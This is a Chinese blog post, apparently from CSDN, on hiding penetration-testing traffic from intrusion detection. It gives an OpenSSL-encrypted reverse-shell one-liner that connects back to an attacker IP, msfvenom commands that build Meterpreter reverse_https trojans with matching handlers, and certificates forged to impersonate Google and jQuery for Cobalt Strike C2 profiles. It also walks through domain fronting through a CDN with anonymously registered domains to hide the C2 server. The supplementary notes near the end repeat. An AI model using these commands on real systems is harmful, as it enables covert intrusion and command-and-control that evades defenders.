流量加密小结

文章讲述了在渗透测试中如何通过Openssl、Metasploit(MSF)、CobaltStrike等工具对shell通信进行加密,以绕过网络防御检测系统,重点介绍了使用自签名证书、MSF的SSL模块、CobaltStrike的定制证书和域前置技术来保护流量。
摘要由CSDN通过智能技术生成

流量加密

在红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要进行横行渗透,所以需要拿到shell建立与目标之间的通信,当目标主机网络环境存在网络防御检测系统时(IDS、IPS等),如果攻击机与目标间通信的流量是明文传输,那么网络防御检测系统会检测出通信内容中带有的攻击特征,并对当前通信进行告警和阻止。此时,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程,阻断红队行为,红队就无法进行渗透行为了。所以,我们需要对 shell 中通信的内容进行混淆或加密,绕过流量监测。

一、Openssl加密流量反弹shell

普通方式反弹shell是,明文传输容易被安全设备检测到

在这里插入图片描述
在这里插入图片描述

使用openssl生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

在这里插入图片描述

生成自签名证书时会提示输入证书信息,可置空直接回车,一共生成两个文件

在这里插入图片描述

在攻击机上开启openssl服务端监听

openssl s_server -quiet -key key.pem -cert cert.pem -port 10086

此时 OpenSSL 便在攻击机的 10086 端口上启动了一个 SSL/TLS server

在目标上执行反弹shell命令

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.83.130:10086 > /tmp/s; rm /tmp/s

在这里插入图片描述

成功反弹shell,且流量已加密

在这里插入图片描述

二、MSF流量加密过检测

Metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来。

首先是生成证书,可以使用MSF的impersonate_ssl 模块

use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com
run

也可以使用 OpenSSL 创建 SSL/TLS 证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

要记住生成证书的存放位置

在这里插入图片描述

创建完证书后,我可以为其创建HTTP或HTTPS类型的有效负载,并为其提供PEM格式的证书以用于验证连接

生成木马

linux平台:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.83.130 LPORT=10086 PayloadUUIDTracking=true PayloadUUIDName=reshell HandlerSSLCert=/root/.msf4/loot/20230915172052_default_36.155.132.31_36.155.132.31_pe_747329.pem StagerVerifySSLCert=true -f elf > shell.elf

windows平台:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.83.130 LPORT=10086 PayloadUUIDTracking=true PayloadUUIDName=reshell HandlerSSLCert=/root/.msf4/loot/20230915172052_default_36.155.132.31_36.155.132.31_pe_747329.pem StagerVerifySSLCert=true -f exe -o shell.exe

也可以使用opemssl生成的证书
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.83.130 LPORT=10086 PayloadUUIDTracking=true PayloadUUIDName=reshell HandlerSSLCert=/root/www.google.com.pem StagerVerifySSLCert=true -f elf > shell.elf

注意:linux平台没有成功反弹shell
选项释义:
HandlerSSLCert:向处理程序通知所使用的PEM证书。
StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。

在这里插入图片描述

木马报存在当前目录下

在这里插入图片描述

攻击机开启监听

use exploit/multi/handler 
set payload windows/meterpreter/reverse_https
set LHOST 192.168.83.130
set LPORT 10086
set HandlerSSLCert /root/.msf4/loot/20230915172052_default_36.155.132.31_36.155.132.31_pe_747329.pem
set StagerVerifySSLCert true
exploit

在这里插入图片描述

在目标中运行木马,成功上线

在这里插入图片描述

同样可以加密流量

在这里插入图片描述

三、Cobalt Strike定制证书修改C2 profile 加密流量

Cobalt Strike 是很多红队的首选的攻击神器,在后渗透方面效果很好,导致很多IDS入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,很容易被流量检测出来并进行拦截。在运行 Cobalt Strike 时,默认使用的证书是 cobaltstrike.store,需要生成新的证书来逃避IDS检测。

首先我们利用keytool工具生成一个证书:

keytool -genkey -alias jquery.com -keyalg RSA -validity 36500 -keystore jquery.store

注意要记住设置证书时的信息,修改C2 profile时需要使用

参数说明:
-genkey: 表示生成密钥对(公钥和私钥)
-keystore:每个 keytool 命令都有一个 -keystore 选项,用于指定 keytool 管理的密钥仓库的永久密钥仓库文件名称及其位置。如果不指定 -keystore 选项,则缺省密钥仓库将是宿主目录中(由系统属性的"user.home"决定)名为 .keystore 的文件。如果该文件并不存在,则它将被创建。
-alias:指定密钥条目的别名,该别名是公开的。
-keyalg:指定密钥的算法,如:RSA、DSA(如果不指定默认采用DSA))
-validity:指定创建的证书有效期多少天

在这里插入图片描述

也可以使用命令直接生成对应的

keytool -keystore jquery.store -storepass jquery -keypass jquery -genkey -keyalg RSA -alias jquery.store -dname "CN=jquery.com, OU=Certificate Authority, O=jQuery, L=US, ST=US, C=en"

生成证书后需要转化成标准的pkcs12格式。

keytool -importkeystore -srckeystore jquery.store -destkeystore jquery.store -deststoretype pkcs12

C2-profile 文件是 Cobalt Strike 内置工具,可以修改流量特征以及修改beacon的默认行为,将攻击流量伪装成正常的流量,防止安全设备对流量特征进行监控和拦截。

这里可以使用github上现成的项目,可以根据自己的需求修改

https://github.com/threatexpress/malleable-c2

(文件篇幅较长,此处不做展示,仅展示要修改的地方)

在这里插入图片描述

在CS中建立监听,成功伪造证书

在这里插入图片描述

成功上线后,目标与攻击机的通信流量已加密

在这里插入图片描述

四、域前置CS搭建

1、原理

​ Domain Fronting,中文译名 “域前置” 或 “域名前置”,是一种用于隐藏真实C2服务器IP且同时能伪装为与高信誉域名通信的技术,多用于木马受控端和控制端之间的隐蔽通信。简言之,利用该技术,可以让受控端以为程序是在和一个高信誉域名通信,但实际上却是在和我们的C2服务器进行通信。

​ 域前置的核心基础是CDN,通过CDN节点将流量转发到真实的C2服务器,其中CDN节点ip通过识别请求的HOST头进行流量转发,利用我们配置域名的高可信度,如我们可以配置域名的高可信度(知名域名的子域名),比如 xxxx.baidu.com,可以有效的躲避流量监测。

​ 一般情况下,1台 CDN 会同时负责多个网站的加速服务,那问题来了:如果我访问的两个网站(www.a.com 和 www.b.com)都是由同1台 CDN 服务器(1.1.1.1)进行加速服务,那么当我使用浏览器访问这两个域名时,浏览器实际上访问的都是 1.1.1.1 这台 CDN 服务器,但我在浏览器访问的域名有可能是 a.com 也可能是 b.com,所以 1.1.1.1 这台 CDN 服务器必须清楚地知道我访问的是哪个域名,然后才能给我返回对应域名的内容。CDN是通过Host 头来确定要访问的目标,即使直接请求 CDN,只要 Host 头中带有想要访问的域名,CDN 就能知道你想和哪个域名通信,进而就能让你和指定的域名互相传送内容。举例如下:

​ 使用curl命令请求cdn 1.1.1.1,并自定义host段为www.b.com的话。就会返回www.b.com的页面。

命令为:curl 1.1.1.1 -H "Host: www.b.com" -v

​ 同理请求同样的cdn,但是将host改为www.a.com,这时候就会返回A页面的信息。如果将curl 后请求的ip改为 www.a.com, host 改为 www.b.com。

命令为:Curl www.a.com -H "Host: www.b.com" -v

​ 上述命令还是显示的是www.b.com的页面,所以最终请求的还是www.b.com。

要注意,Host 头一般被设置为高信誉的域名,或者我们自己申请的 “形似” 高信誉域名的域名。另外,因为 CDN 的存在,访问网站时访问的实际上只是 CDN,而不是直接和网站的真实服务器进行通信,所以利用 CDN 的同时也可以隐藏我们真实C2服务器的 IP。

​ 在HTTP(S)请求中,目标域名通常显示在三个关键位置:DNS查询,TLS(SNI)拓展及HTTP主机头中。通常,这三个地方都会是我们要访问的域名地址,然而,在”Domain Fronting”请求中,DNS查询以及SNI携带了一个域名(前域),而在HTTP host头中携带了另一个域名(隐蔽的,被禁止访问的域名),简单的图例如下:

在这里插入图片描述
在这里插入图片描述

2、CS实现域前置
(1)配置CDN

​ 某云有一个有趣的特点:当 CDN 配置中的源 IP 为自己云的服务器时,加速时会跳过对域名的检验,直接与配置中的域名绑定的源服务器IP进行通信。利用该特性,我们不需要真正去申请 CDN 时所填写的域名中配置解析相应的 CNAME 了。换言之,只要我们的C2服务器属于该云的服务器,那么我们就无需申请域名,只需要在申请 CDN 时随便填一个没有人绑定过的域名就好了,而且这个域名我们可以填成任何高信誉的域名,例如 test.microsoft.com、oops.microsoft.com…

​ 如果是其他的情况的话,就需要自己为C2服务器申请一个形似高信誉域名的域名。

匿名注册新域名:https://www.freenom.com/zh/index.html?lang=zh

匿名注册免费CDN服务Cloudflare:https://www.cloudflare.com/zh-cn/

(2)CS证书与profile配置

具体实施可以参考前面(三、Cobalt Strike定制证书修改C2 profile 加密流量),有的CDN有提供证书,可以使用CDN的证书。也可以是自己伪造的。

要注意需要开启域前置设置:
在这里插入图片描述
而且HOST要设置为自己的域名
在这里插入图片描述

示例:

在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书,之后将公钥和私钥保存下来,分别为server.pem和client.key。Cloudflare 默认的 TLS 配置为灵活,由于我们使用了 Cloudflare 给原服务器发的证书,我们可以改成完全(严格)提高安全性。将证书打包并生成store文件

openssl pkcs12 -export -in server.pem -inkey client.key -out your-domain.com.p12 -name your-domain.com -passout pass123
然后:
keytool -importkeystore -deststorepass pass123  -destkeypass pass123  -destkeystore your-domain.com.store -srckeystore your-domain.com.p12 -srcstoretype PKCS12 -srcstorepass pass123  -alias your-domain.com

在这个Profile jquery-c2.4.*.profile 中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。添加Cloudflare规则 ,不代理js请求。

需要更改Profile中的响应头配置,不然可能会出现能上线但是无法回显命令的情况

header "Content-Type" "application/javascript; charset=utf-8"; 
修改为: 
header "Content-Type" "application/*; charset=utf-8";

关于使用匿名注册免费CDN服务Cloudflare做域前置,具体可以参考:https://www.jianshu.com/p/a964a401fbd7

(3)CS配置

开启监听

在这里插入图片描述

注意:

  • 使用ip作为Hosts:ip是全国各地正常的ip,但是证书不可信
  • 使用域名作为Hosts:证书可信,但是域名是解析到某云CDN的域名,这样容易被发现

补充:

1、使用cobaltstrike如果目标为linux系统的话,可以使用这个C2插件:https://github.com/gloxec/CrossC2/

2、此外如果要进一步隐蔽的话,还可以设置C2代理。可以参考:https://www.jianshu.com/p/a964a401fbd7

3、上述属于SNI域前置,还有一种是ESNI域前置,可以参考:https://mp.weixin.qq.com/s/kikmZulOTf_xZIPa4DACUQ
是解析到某云CDN的域名,这样容易被发现

补充:

1、使用cobaltstrike如果目标为linux系统的话,可以使用这个C2插件:https://github.com/gloxec/CrossC2/

2、此外如果要进一步隐蔽的话,还可以设置C2代理。可以参考:https://www.jianshu.com/p/a964a401fbd7

3、上述属于SNI域前置,还有一种是ESNI域前置,可以参考:https://mp.weixin.qq.com/s/kikmZulOTf_xZIPa4DACUQ

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值